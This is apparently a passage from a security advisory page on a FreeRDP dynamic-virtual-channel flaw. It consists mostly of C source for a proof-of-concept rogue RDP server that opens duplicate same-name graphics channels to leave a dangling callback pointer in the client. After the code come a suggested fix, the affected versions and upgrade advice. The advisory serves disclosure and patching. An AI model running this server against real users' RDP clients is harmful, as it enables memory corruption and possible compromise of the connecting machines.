<winpr/winsock.h> #include <winpr/stream.h> #include <winpr/sysinfo.h> #include <winpr/wtsapi.h> #include <freerdp/freerdp.h> #include <freerdp/peer.h> #include <freerdp/listener.h> #include <freerdp/constants.h> #include <freerdp/settings.h> #include <freerdp/crypto/certificate.h> #include <freerdp/crypto/privatekey.h> #include <freerdp/codec/zgfx.h> #include <freerdp/channels/wtsvc.h> #include <freerdp/channels/channels.h> #include <freerdp/channels/drdynvc.h> #include <freerdp/channels/rdpgfx.h> #include <freerdp/log.h> #define TAG "pocserver" /* rdpgfx registers its DVC listener under RDPGFX_DVC_CHANNEL_NAME, not the * "rdpgfx" command line/advertised name (see include/freerdp/channels/rdpgfx.h). */ #define DVC_GFX_NAME "Microsoft::Windows::RDS::Graphics" #define DVC_GFX_ID_A 0x0a #define DVC_GFX_ID_B 0x0b /* MS-RDPEDYC DYNVC command nibbles (see include/freerdp/channels/drdynvc.h) */ #define PDU_CREATE_REQUEST 0x01 #define PDU_DATA 0x03 #define PDU_CLOSE_REQUEST 0x04 typedef struct { rdpContext _p; HANDLE vcm; } pocPeerContext; struct server_info { const char* cert; const char* key; UINT16 port; }; static volatile LONG g_done = 0; static volatile LONG g_sent = 0; static volatile LONG g_connected = 0; static BOOL peer_context_new(freerdp_peer* client, rdpContext* ctx) { pocPeerContext* context = (pocPeerContext*)ctx; WINPR_ASSERT(client); WINPR_ASSERT(context); context->vcm = WTSOpenServerA((LPSTR)ctx); if (!context->vcm || context->vcm == INVALID_HANDLE_VALUE) return FALSE; return TRUE; } static void peer_context_free(freerdp_peer* client, rdpContext* ctx) { pocPeerContext* context = (pocPeerContext*)ctx; WINPR_UNUSED(client); if (context && context->vcm) { WTSCloseServer(context->vcm); context->vcm = NULL; } } static BOOL peer_post_connect(freerdp_peer* client) { WINPR_ASSERT(client); g_connected = 1; fprintf(stdout, "[pocserver] connection sequence done, client activated\n"); fflush(stdout); return TRUE; } static BOOL peer_activate(freerdp_peer* client) { WINPR_UNUSED(client); return TRUE; } static BOOL peer_synchronize_event(rdpInput* input, UINT32 flags) { WINPR_UNUSED(input); WINPR_UNUSED(flags); return TRUE; } static BOOL peer_keyboard_event(rdpInput* input, UINT16 flags, UINT8 code) { WINPR_UNUSED(input); WINPR_UNUSED(flags); WINPR_UNUSED(code); return TRUE; } static BOOL peer_unicode_keyboard_event(rdpInput* input, UINT16 flags, UINT16 code) { WINPR_UNUSED(input); WINPR_UNUSED(flags); WINPR_UNUSED(code); return TRUE; } static BOOL peer_mouse_event(rdpInput* input, UINT16 flags, UINT16 x, UINT16 y) { WINPR_UNUSED(input); WINPR_UNUSED(flags); WINPR_UNUSED(x); WINPR_UNUSED(y); return TRUE; } static BOOL send_raw_dvc(freerdp_peer* client, UINT16 channelId, const BYTE* data, size_t len, const char* what) { WINPR_ASSERT(client->SendChannelPacket); if (!client->SendChannelPacket(client, channelId, len, CHANNEL_FLAG_ONLY, data, len)) { fprintf(stderr, "[pocserver] SendChannelPacket(%s) failed\n", what); return FALSE; } fprintf(stdout, "[pocserver] sent %s (%" PRIuz " bytes)\n", what, len); fflush(stdout); return TRUE; } /* DYNVC_CREATE_REQUEST: Cmd=0x1|Sp=0|cbChId=0, ChannelId (1 byte), Name (NUL terminated) */ static BOOL send_create(freerdp_peer* client, UINT16 channelId, UINT8 dvcId, const char* name) { BYTE buf[64] = { 0 }; const size_t nameLen = strlen(name) + 1; size_t len = 0; if (nameLen + 2 > sizeof(buf)) return FALSE; buf[len++] = (PDU_CREATE_REQUEST << 4) | 0x00; /* cbChId = 0 -> 1 byte ChannelId */ buf[len++] = dvcId; memcpy(buf + len, name, nameLen); len += nameLen; return send_raw_dvc(client, channelId, buf, len, "CREATE_REQUEST(rdpgfx)"); } /* DYNVC_CLOSE_REQUEST: Cmd=0x4|Sp=0|cbChId=0, ChannelId (1 byte) */ static BOOL send_close(freerdp_peer* client, UINT16 channelId, UINT8 dvcId) { BYTE buf[2] = { 0 }; buf[0] = (PDU_CLOSE_REQUEST << 4) | 0x00; buf[1] = dvcId; return send_raw_dvc(client, channelId, buf, sizeof(buf), "CLOSE_REQUEST"); } /* Build the RDPGFX END_FRAME PDU and ZGFX-compress it, exactly like the real * server side does (channels/rdpgfx/server/rdpgfx_main.c -> zgfx_compress_to_stream). */ static BOOL build_end_frame(ZGFX_CONTEXT* compress, BYTE** out, size_t* outLen) { BYTE gfx[RDPGFX_HEADER_SIZE + RDPGFX_END_FRAME_PDU_SIZE] = { 0 }; UINT32 flags = 0; BOOL ok = FALSE; /* RDPGFX_HEADER { cmdId u16, flags u16, pduLength u32 } */ gfx[0] = (BYTE)(RDPGFX_CMDID_ENDFRAME & 0xff); gfx[1] = (BYTE)((RDPGFX_CMDID_ENDFRAME >> 8) & 0xff); gfx[2] = 0; gfx[3] = 0; gfx[4] = (BYTE)(sizeof(gfx) & 0xff); gfx[5] = 0; gfx[6] = 0; gfx[7] = 0; /* frameId = 1 */ gfx[8] = 1; gfx[9] = 0; gfx[10] = 0; gfx[11] = 0; wStream* fs = Stream_New(NULL, sizeof(gfx) + 7 + 16); if (!fs) return FALSE; if (zgfx_compress_to_stream(compress, fs, gfx, (UINT32)sizeof(gfx), &flags) >= 0) { *outLen = Stream_GetPosition(fs); *out = (BYTE*)malloc(*outLen); if (*out) { memcpy(*out, Stream_Buffer(fs), *outLen); ok = TRUE; } } else fprintf(stderr, "[pocserver] zgfx_compress_to_stream failed\n"); Stream_Free(fs, TRUE); return ok; } /* DYNVC_DATA: Cmd=0x3|Sp=0|cbChId=0, ChannelId (1 byte), payload */ static BOOL send_data_end_frame(freerdp_peer* client, UINT16 channelId, UINT8 dvcId, ZGFX_CONTEXT* compress) { BYTE* payload = NULL; size_t payloadLen = 0; BYTE* buf = NULL; size_t len = 0; BOOL ok = FALSE; if (!build_end_frame(compress, &payload, &payloadLen)) return FALSE; len = 2 + payloadLen; buf = (BYTE*)malloc(len); if (!buf) { free(payload); return FALSE; } buf[0] = (PDU_DATA << 4) | 0x00; buf[1] = dvcId; memcpy(buf + 2, payload, payloadLen); fprintf(stdout, "[pocserver] END_FRAME payload: gfx=%zu zgfx-compressed=%" PRIuz " bytes\n", (size_t)(RDPGFX_HEADER_SIZE + RDPGFX_END_FRAME_PDU_SIZE), payloadLen); fflush(stdout); ok = send_raw_dvc(client, channelId, buf, len, "DATA(END_FRAME)"); free(buf); free(payload); return ok; } static DWORD WINAPI peer_mainloop(LPVOID arg) { freerdp_peer* client = (freerdp_peer*)arg; pocPeerContext* context = NULL; HANDLE handles[MAXIMUM_WAIT_OBJECTS] = WINPR_C_ARRAY_INIT; DWORD count = 0; DWORD status = 0; ZGFX_CONTEXT* compress = NULL; UINT64 deadline = 0; WINPR_ASSERT(client); client->ContextSize = sizeof(pocPeerContext); client->ContextNew = peer_context_new; client->ContextFree = peer_context_free; if (!freerdp_peer_context_new(client)) { fprintf(stderr, "[pocserver] freerdp_peer_context_new failed\n"); goto out_free; } context = (pocPeerContext*)client->context; WINPR_ASSERT(context); rdpSettings* settings = client->context->settings; WINPR_ASSERT(settings); { struct server_info* info = (struct server_info*)client->ContextExtra; WINPR_ASSERT(info); rdpPrivateKey* key = freerdp_key_new_from_file_enc(info->key, NULL); if (!key) { fprintf(stderr, "[pocserver] failed to load key\n"); goto out_ctx; } if (!freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerRsaKey, key, 1)) goto out_ctx; rdpCertificate* cert = freerdp_certificate_new_from_file(info->cert); if (!cert) { fprintf(stderr, "[pocserver] failed to load certificate\n"); goto out_ctx; } if (!freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerCertificate, cert, 1)) goto out_ctx; } /* Standard RDP security / TLS, no NLA: keeps the handshake simple. */ if (!freerdp_settings_set_bool(settings, FreeRDP_RdpSecurity, TRUE)) goto out_ctx; if (!freerdp_settings_set_bool(settings, FreeRDP_TlsSecurity, TRUE)) goto out_ctx; if (!freerdp_settings_set_bool(settings, FreeRDP_NlaSecurity, FALSE)) goto out_ctx; if (!freerdp_settings_set_bool(settings, FreeRDP_ExtSecurity, FALSE)) goto out_ctx; if (!freerdp_settings_set_uint32(settings, FreeRDP_EncryptionLevel, ENCRYPTION_LEVEL_CLIENT_COMPATIBLE)) goto out_ctx; client->PostConnect = peer_post_connect; client->Activate = peer_activate; { rdpInput* input = client->context->input; WINPR_ASSERT(input); input->SynchronizeEvent = peer_synchronize_event; input->KeyboardEvent = peer_keyboard_event; input->UnicodeKeyboardEvent = peer_unicode_keyboard_event; input->MouseEvent = peer_mouse_event; } compress = zgfx_context_new(TRUE); if (!compress) { fprintf(stderr, "[pocserver] zgfx_context_new failed\n"); goto out_ctx; } if (!client->Initialize(client)) goto out_ctx; /* Main loop: drive the server engine and inject the DVC PDU sequence as soon * as the client's drdynvc channel reached state READY. */ { BYTE lastState = 0xFF; while (!g_done) { count = client->GetEventHandles(client, handles, 32); if (count == 0) break; handles[count++] = WTSVirtualChannelManagerGetEventHandle(context->vcm); status = WaitForMultipleObjects(count, handles, FALSE, 100); if (status == WAIT_FAILED) break; if (client->CheckFileDescriptor(client) != TRUE) break; if (!g_connected || !WTSIsChannelJoinedByName(client, DRDYNVC_SVC_CHANNEL_NAME)) continue; if (WTSVirtualChannelManagerCheckFileDescriptor(context->vcm) != TRUE) break; { const BYTE st = WTSVirtualChannelManagerGetDrdynvcState(context->vcm); if (st != lastState) { lastState = st; fprintf(stdout, "[pocserver] drdynvc state=%u joined=%d channelId=%" PRIu16 "\n", st, WTSIsChannelJoinedByName(client, DRDYNVC_SVC_CHANNEL_NAME), WTSChannelGetId(client, DRDYNVC_SVC_CHANNEL_NAME)); fflush(stdout); } if (!g_sent && (st == DRDYNVC_STATE_READY)) { const UINT16 staticId = WTSChannelGetId(client, DRDYNVC_SVC_CHANNEL_NAME); if (staticId == 0) { fprintf(stderr, "[pocserver] drdynvc channel id unavailable\n"); continue; } fprintf(stdout, "[pocserver] drdynvc READY; running same-name DVC sequence " "(rdpgfx id=0x%02x then id=0x%02x, close 0x%02x, data 0x%02x)\n", DVC_GFX_ID_A, DVC_GFX_ID_B, DVC_GFX_ID_B, DVC_GFX_ID_A); fflush(stdout); if (!send_create(client, staticId, DVC_GFX_ID_A, DVC_GFX_NAME)) break; Sleep(400); if (!send_create(client, staticId, DVC_GFX_ID_B, DVC_GFX_NAME)) break; Sleep(400); if (!send_close(client, staticId, DVC_GFX_ID_B)) break; Sleep(400); if (!send_data_end_frame(client, staticId, DVC_GFX_ID_A, compress)) break; Sleep(200); g_sent = 1; deadline = GetTickCount64() + 4000; } } if (g_sent && (GetTickCount64() > deadline)) break; } } client->Disconnect(client); out_ctx: zgfx_context_free(compress); freerdp_peer_context_free(client); out_free: freerdp_peer_free(client); g_done = 1; return 0; } static BOOL peer_accepted(freerdp_listener* instance, freerdp_peer* client) { HANDLE hThread = NULL; WINPR_ASSERT(instance); WINPR_ASSERT(client); client->ContextExtra = instance->info; if (!(hThread = CreateThread(NULL, 0, peer_mainloop, (void*)client, 0, NULL))) return FALSE; (void)CloseHandle(hThread); return TRUE; } static void server_mainloop(freerdp_listener* instance) { HANDLE handles[32] = WINPR_C_ARRAY_INIT; DWORD count = 0; DWORD status = 0; WINPR_ASSERT(instance); while (!g_done) { count = instance->GetEventHandles(instance, handles, ARRAYSIZE(handles)); if (count == 0) break; status = WaitForMultipleObjects(count, handles, FALSE, 100); if (status == WAIT_FAILED) break; if (instance->CheckFileDescriptor(instance) != TRUE) break; } instance->Close(instance); } int main(int argc, char* argv[]) { int rc = -1; BOOL started = FALSE; WSADATA wsaData = WINPR_C_ARRAY_INIT; freerdp_listener* instance = NULL; struct server_info info = WINPR_C_ARRAY_INIT; if (argc < 4) { fprintf(stderr, "usage: %s <cert.pem> <key.pem> <port>\n", argv[0]); return 1; } info.cert = argv[1]; info.key = argv[2]; info.port = (UINT16)strtol(argv[3], NULL, 10); if (!WTSRegisterWtsApiFunctionTable(FreeRDP_InitWtsApi())) return -1; if (!winpr_InitializeSSL(WINPR_SSL_INIT_DEFAULT)) return -1; instance = freerdp_listener_new(); if (!instance) return -1; instance->info = (void*)&info; instance->PeerAccepted = peer_accepted; if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) goto fail; fprintf(stdout, "[pocserver] listening on 0.0.0.0:%" PRIu16 "\n", info.port); fflush(stdout); started = instance->Open(instance, NULL, info.port); if (started) { server_mainloop(instance); for (int i = 0; (i < 50) && !g_done; i++) Sleep(100); } rc = 0; fail: freerdp_listener_free(instance); WSACleanup(); return rc; } ``` ## Suggested Fix `dvcman_create_channel` (`channels/drdynvc/client/drdynvc_main.c:819-850`) must also reject a `CREATE_REQUEST` when a channel with the same `ChannelName` is already active, returning an error for the duplicate instead of creating a second entry, so the per-listener single callback slot is never overwritten while a same-name sibling is running. Alongside that check, `rdpgfx_on_close` (`channels/rdpgfx/client/rdpgfx_main.c:2401-2432`) and `rdpsnd_on_close` (`channels/rdpsnd/client/rdpsnd_main.c:1771-1795`) should clear `listener_callback->channel_callback` (and the associated channel pointer) when they free the callback, matching `rdpei_on_close` and `video_control_on_close`, so no dangling single-slot pointer remains for `rdpgfx_send_frame_acknowledge_pdu` (`channels/rdpgfx/client/rdpgfx_main.c:617-644`) or `rdpsnd_virtual_channel_write` (`channels/rdpsnd/client/rdpsnd_main.c:1156-1160`) to dereference.

Why it matters now

Fix Fixed FreeRDP (c): 3.32.2

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)<= 3.32.13.32.2Patch availableGHSA-6wqx-rv3q-vcxp
  • FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-6wqx-rv3q-vcxp

Remediation

Upgrade FreeRDP to 3.32.2 or later. Versions up to and including 3.32.1 are affected.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-6wqx-rv3q-vcxp FreeRDP (c) Fixed in 3.32.2 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-6wqx-rv3q-vcxp

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences